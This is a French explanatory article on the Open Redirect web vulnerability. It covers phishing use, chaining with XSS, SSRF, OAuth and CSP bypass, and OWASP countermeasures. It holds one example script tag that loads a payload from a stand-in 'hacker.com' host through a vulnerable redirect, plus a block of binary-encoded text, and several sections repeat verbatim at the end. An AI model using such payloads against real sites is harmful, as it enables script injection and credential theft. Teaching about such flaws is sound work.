Boite à outils

Focus sur la vulnérabilité de Open Redirect

Open Redirect est une faille de sécurité qui se produit au niveau du site ou des applications web. Cette vulnérabilité est utilisée par les attaquants pour réussir les attaques de phishing grâce à la réputation d’une entreprise.

Open Redirect 2
Contenu mis à jour le

Une vulnérabilité Open Redirect engage un pirate informatique qui manipule l’utilisateur. Elle vise à rediriger l’internaute d’un site vers un autre site. Il s’agit d’un acte qui peut être malveillant et qui est considéré par la communauté de la sécurité informatique comme une faille relative à une simple escroquerie. Néanmoins, elle représente un véritable risque si elle est combinée avec Oauth Flaw, XSS-Auditor bypass, Server Side, Request Forgery, etc.  Zoom sur ce type de vulnérabilité.

Qu’est-ce qu’une vulnérabilité Open Redirect ?

Open Redirect ou la redirection ouverte se manifeste lorsqu’une page web fragile est redirigée vers une page non appropriée et malicieuse susceptible de compromettre l’internaute.

Les failles Open Redirect résultent souvent d’une attaque de phishing, puisque le lien vulnérable changé est semblable au site original, accroissant ainsi la chance de succès de la frappe.

Cette vulnérabilité est généralement présente quand les valeurs des paramètres dans une demande « HTTP GET » au sein de l’URL après le point d’interrogation aident à obtenir des données qui redirigeront un internaute vers un site web neuf sans que la victime valide l’action de redirection. Dans certains cas, la redirection se produit suite à certaines actions, à savoir la connexion. Toutefois, cela dépend de la structure du site vulnérable. Il arrive aussi que cette action se manifeste juste au moment de changer une page. 

La vulnérabilité Open Redirect : quelle finalité ?

Les attaques Open Redirect sont fréquemment utilisées pour supporter des attaques de phishing en plus d’aider à rediriger les internautes vers des sites web malveillants.

Open redirect pour le phishing

Au moment de naviguer sur un site web légal, un internaute peut cliquer sur un lien sans se rendre compte qu’il l’a fait, notamment s’il s’agit d’une invitation de connexion qui apparaît soudainement. C’est ce genre de situation que les hackers exploitent pour piéger les cibles. Ils envoient aux victimes le lien d’un site de confiance, mais en profitent pour exploiter la vulnérabilité Open Redirect afin de rediriger les cibles vers des URL malveillantes. Ces URL sont régulièrement développées telles que des pages de phishing qui s’avèrent être dignes de confiance et conformes au site d’origine.

Quand la cible navigue sur la plateforme malveillante, elle est surtout sollicitée pour fournir des données d’identification dans un formulaire de connexion. Ce dernier dirige vers un script, qui est examiné par les pirates informatiques, régulièrement dans le but d’enlever les données d’identification de l’internaute fournies par la victime.

Ces données d’identification dépouillées sont notées par l’attaquant et utilisées après pour voler l’identité de ces cibles sur le site web. Comme le domaine du site web légal notifie quand les utilisateurs cliquent sur le lien, la chance de réussite de l’attaque est élevée.

Open Redirect pour rediriger vers des sites web malveillants

Les hackers se servent de cette faille pour renvoyer les internautes vers des sites web qui hébergent du contenu qu’ils contrôlent, à l’instar des exploits de navigateur ou des pages réalisant des attaques CSRF. Si la plateforme vers laquelle le lien est redirigé est digne de confiance pour la cible, elle est plus en mesure d’appuyer sur le lien.

Quelles sont les conséquences des failles Open Redirect ?

Si vous avez une faille Open Redirect, cela ouvre la porte à de nombreuses autres attaques :

Hameçonnage

L’une des meilleures techniques pour utiliser un Open Redirect consiste à éloigner la victime du site authentique vers une autre plateforme identique. Ensuite, les attaquants tentent de voler les données d’identification de l’utilisateur et redirigent les cibles au site authentique comme si de rien n’était. 

L’attaque XSS ou Cross-site Scripting

Un attaquant peut réaliser une attaque XSS s’il est possible d’utiliser les protocoles de données ou JavaScript grâce à la redirection et que l’internaute prend en charge ces protocoles dans les redirections.

SSRF ou contrefaçon de requête côté serveur 

L’Open Redirect peut être utilisé pour échapper aux filtres SSFR. En exploitant une faille SSRF, un attaquant peut cibler aisément les systèmes internes qui se dissimulent derrière un pare-feu ou des filtres. Le pirate informatique peut avoir accès au contenu d’un domaine qui peut renvoyer vers n’importe quel nombre d’endroits. C’est la procédure qu’un hacker suit pour accéder à un serveur et obtient l’autorisation pour se rendre n’importe où en associant Open Redirect à son SSRF.

Contourner la politique de sécurité du contenu

Si vous utilisez CSP pour vous protéger des XSS et que l’un des domaines de la liste blanche a un Open redirect, il est possible de vous servir de cette faille pour contourner CSP.

Injection CRLF 

Un pirate informatique peut réaliser un fractionnement de l’en-tête de réponse si le paramètre de redirection accepte les sauts de ligne.

Comment se protéger contre la vulnérabilité Open Redirect ?

Il existe plusieurs manières de se prémunir de la vulnérabilité Open Redirect. L’Open Web Application Security Project OWASP recommande les techniques suivantes :

  • Ne pas utiliser les forward et les redirections ;
  • Ne pas autoriser l’internaute à taper des URL comme destination ;
  • En cas d’autorisation à une URL de la part d’un utilisateur, il est conseillé de leur demander d’entrer un nom court, un identifiant ou encore un jeton qui est mappé côté serveur à l’URL visée complète. Cette technique permet d’avoir une protection de haut niveau contre les frappes qui altèrent les URL. Néanmoins, il faut éviter d’entrer une vulnérabilité d’énumération qui permettrait aux utilisateurs d’accéder aux identifiants et de repérer toutes les cibles de redirection possibles ;
  • Quand la saisie de l’utilisateur devient inévitable, assurez-vous que les différentes valeurs fournies sont valides, adaptées pour l’application et autorisées pour tous les utilisateurs ;
  • Développer une liste de toutes les URL de confiance, incluant un regex et les hôtes pour assainir les entrées. Il est judicieux d’opter pour une liste d’autorisations pour concevoir la liste, au lieu d’utiliser une liste de blocage ;
  • Obligez les redirections à passer au préalable par une page informant les utilisateurs qu’ils sont renvoyés vers un autre site hors du site original. Vous devez inclure dans le message la destination et solliciter l’internaute à appuyer sur un lien pour valider s’ils souhaitent réellement être redirigés vers une nouvelle destination.

Quels sont les différents types de vulnérabilité Open Redirect ?

En général, on distingue plusieurs types de failles Open Redirect, mais les plus courantes sont les vulnérabilités basées sur JavaScript et sur les en-têtes.

Open Redirect basée sur l’en-tête

Nous allons aborder en premier lieu la vulnérabilité Open Redirect basée sur l’en-tête, parce qu’elle est capable de fonctionner même quand un JavaScript n’est pas traduit.

Un en-tête « http Location » désigne une solution de réponse dont les missions sont de :

  • demander à un navigateur d’effectuer la redirection d’une URL ;
  • fournir des données sur la place d’une ressource récemment développée.  

À l’origine, il est totalement autonome et ne dépend pas de JavaScript. Les pirates informatiques utilisent ainsi cette politique pour renvoyer un utilisateur visé vers une autre adresse. Certes, c’est une technique simple, mais elle se révèle être très efficace si l’internaute ne regarde pas attentivement l’URL pour tout ajout étrange au code.

Open Redirect basée sur JavaScript

Les fonctions cotées serveur ou encore le code côté serveur sont chargées des missions comme la vérification des demandes, la vérification des informations ou encore l’envoi des données correctes à l’utilisateur. Même si l’Open Redirect basée sur JavaScript ne marche pas constamment pour une fonction côté serveur, une cible attendue et son navigateur Web peuvent être exploités.

Lorsqu’un hacker arrive à réaliser une redirection en JavaScript, plusieurs failles dangereuses sont possibles. Comme les Open Redirect sont surtout utilisés pour le hameçonnage, les personnes ne réalisent pas que ce type de vulnérabilité peut très bien aussi faire partie d’une chaîne d’intrusions plus sophistiquée où plusieurs failles sont exploitées. Et l’Open Redirect basée sur JavaScript est un contenu important de cette chaîne. À titre d’exemple, renvoyer un internaute vers JavaScript peut devenir une dangereuse injection de faille XSS.

Open Redirect combiné avec d’autres vulnérabilités

Comme nous l’avons abordé dans les paragraphes précédents, la majorité des gens pensent que l’Open Redirect est notamment relatif à l’ingénierie sociale ou l’escroquerie par hameçonnage. Toutefois, ils sous-estiment l’Open Redirect et la façon dont elles peuvent être utilisées parallèlement avec d’autres vulnérabilités.  

OAuth Default

L’exécution d’un flux Oauth est recommandée quand un pirate désire qu’une victime s’inscrive ou se connecte à n’importe quelle plateforme populaire comme Facebook, LinkedIn, Google, Twitter, etc.

Un lien redirige la victime vers le site Web légitime en question (Twitter par exemple), puis la cible doit entrer ses renseignements de connexion.

Cependant, une redirection se produit par la suite, cela conduit la victime vers un faux site web semblable à l’authentique et la cible est invitée à saisir à nouveau ses renseignements, en mentionnant que le mot de passe et le nom d’utilisateur étaient erronés.

C’est de cette manière que les données des utilisateurs sont volées, puis le pirate informatique peut exploiter vos renseignements de plusieurs manières. Facebook le traite en sollicitant une correspondance entre redirect_uri et une URL configurée au préalable. En cas d’incompatibilité, le renvoi est refusé. Malheureusement, la majorité des autres plateformes et services ne le font pas.

Open Redirect XSS auditor bypass

À titre d’exemple, Google Chrome possède un auditeur XSS incorporé qui permet d’éviter le passage de la majorité des attaques. Toutefois, il est possible de le contourner grâce à l’utilisation de l’Open Redirect. Étant donné que cet auditeur XSS ne peut pas empêcher un attaquant d’intégrer tous les scripts hébergés sur le même domaine. En utilisant l’Open Redirect, vous pouvez éviter l’auditeur XSS grâce à un code tel que : <script src= » https://vulnerable.com/path/https/hacker.com/payload.js »></script>.

01010011 01101001 00100000 01110100 01110101 00100000 01100101 01110011 00100000 01101001 01100011 01101001 00100000 01100011 00100111 01100101 01110011 01110100 00100000 01110001 01110101 01100101 00100000 01110100 01110101 00100000 01100011 01101000 01100101 01110010 01100011 01101000 01100101 01110011 00100000 01110001 01110101 01100101 01101100 01110001 01110101 01100101 00100000 01100011 01101000 01101111 01110011 01100101 00101110 00100000 01010110 01100001 00100000 01110110 01101111 01101001 01110010 00100000 01100100 01100001 01101110 01110011 00100000 01101100 01100101 00100000 01100011 01101111 01100100 01100101 00100000 01110011 01101111 01110101 01110010 01100011 01100101 00101110

Qu’est-ce qu’une vulnérabilité Open Redirect ?

Open Redirect ou la redirection ouverte se manifeste lorsqu’une page web fragile est redirigée vers une page non appropriée et malicieuse susceptible de compromettre l’internaute. Les failles Open Redirect résultent souvent d’une attaque de phishing, puisque le lien vulnérable changé est semblable au site original, accroissant ainsi la chance de succès de la frappe. Cette vulnérabilité est généralement présente quand les valeurs des paramètres dans une demande « HTTP GET » au sein de l’URL après le point d’interrogation aident à obtenir des données qui redirigeront un internaute vers un site web neuf sans que la victime valide l’action de redirection. Dans certains cas, la redirection se produit suite à certaines actions, à savoir la connexion. Toutefois, cela dépend de la structure du site vulnérable. Il arrive aussi que cette action se manifeste juste au moment de changer une page.

Comment se protéger contre la vulnérabilité Open Redirect ?

Il existe plusieurs manières de se prémunir de la vulnérabilité Open Redirect. L’Open Web Application Security Project OWASP recommande les techniques suivantes :

  • Ne pas utiliser les forward et les redirections ;
  • Ne pas autoriser l’internaute à taper des URL comme destination ;
  • En cas d’autorisation à une URL de la part d’un utilisateur, il est conseillé de leur demander d’entrer un nom court, un identifiant ou encore un jeton qui est mappé côté serveur à l’URL visée complète. Cette technique permet d’avoir une protection de haut niveau contre les frappes qui altèrent les URL. Néanmoins, il faut éviter d’entrer une vulnérabilité d’énumération qui permettrait aux utilisateurs d’accéder aux identifiants et de repérer toutes les cibles de redirection possibles ;
  • Quand la saisie de l’utilisateur devient inévitable, assurez-vous que les différentes valeurs fournies sont valides, adaptées pour l’application et autorisées pour tous les utilisateurs ;
  • Développer une liste de toutes les URL de confiance, incluant un regex et les hôtes pour assainir les entrées. Il est judicieux d’opter pour une liste d’autorisations pour concevoir la liste, au lieu d’utiliser une liste de blocage ;
  • Obligez les redirections à passer au préalable par une page informant les utilisateurs qu’ils sont renvoyés vers un autre site hors du site original. Vous devez inclure dans le message la destination et solliciter l’internaute à appuyer sur un lien pour valider s’ils souhaitent réellement être redirigés vers une nouvelle destination.

Quels sont les différents types de vulnérabilité Open Redirect ?

En général, on distingue plusieurs types de failles Open Redirect, mais les plus courantes sont les vulnérabilités basées sur JavaScript et sur les en-têtes.

Open Redirect basée sur l’en-tête

Nous allons aborder en premier lieu la vulnérabilité Open Redirect basée sur l’en-tête, parce qu’elle est capable de fonctionner même quand un JavaScript n’est pas traduit. Un en-tête « http Location » désigne une solution de réponse dont les missions sont de :
  • demander à un navigateur d’effectuer la redirection d’une URL ;
  • fournir des données sur la place d’une ressource récemment développée.  
À l’origine, il est totalement autonome et ne dépend pas de JavaScript. Les pirates informatiques utilisent ainsi cette politique pour renvoyer un utilisateur visé vers une autre adresse. Certes, c’est une technique simple, mais elle se révèle être très efficace si l’internaute ne regarde pas attentivement l’URL pour tout ajout étrange au code.

Open Redirect basée sur JavaScript

Les fonctions cotées serveur ou encore le code côté serveur sont chargées des missions comme la vérification des demandes, la vérification des informations ou encore l’envoi des données correctes à l’utilisateur. Même si l’Open Redirect basée sur JavaScript ne marche pas constamment pour une fonction côté serveur, une cible attendue et son navigateur Web peuvent être exploités. Lorsqu’un hacker arrive à réaliser une redirection en JavaScript, plusieurs failles dangereuses sont possibles. Comme les Open Redirect sont surtout utilisés pour le hameçonnage, les personnes ne réalisent pas que ce type de vulnérabilité peut très bien aussi faire partie d’une chaîne d’intrusions plus sophistiquée où plusieurs failles sont exploitées. Et l’Open Redirect basée sur JavaScript est un contenu important de cette chaîne. À titre d’exemple, renvoyer un internaute vers JavaScript peut devenir une dangereuse injection de faille XSS.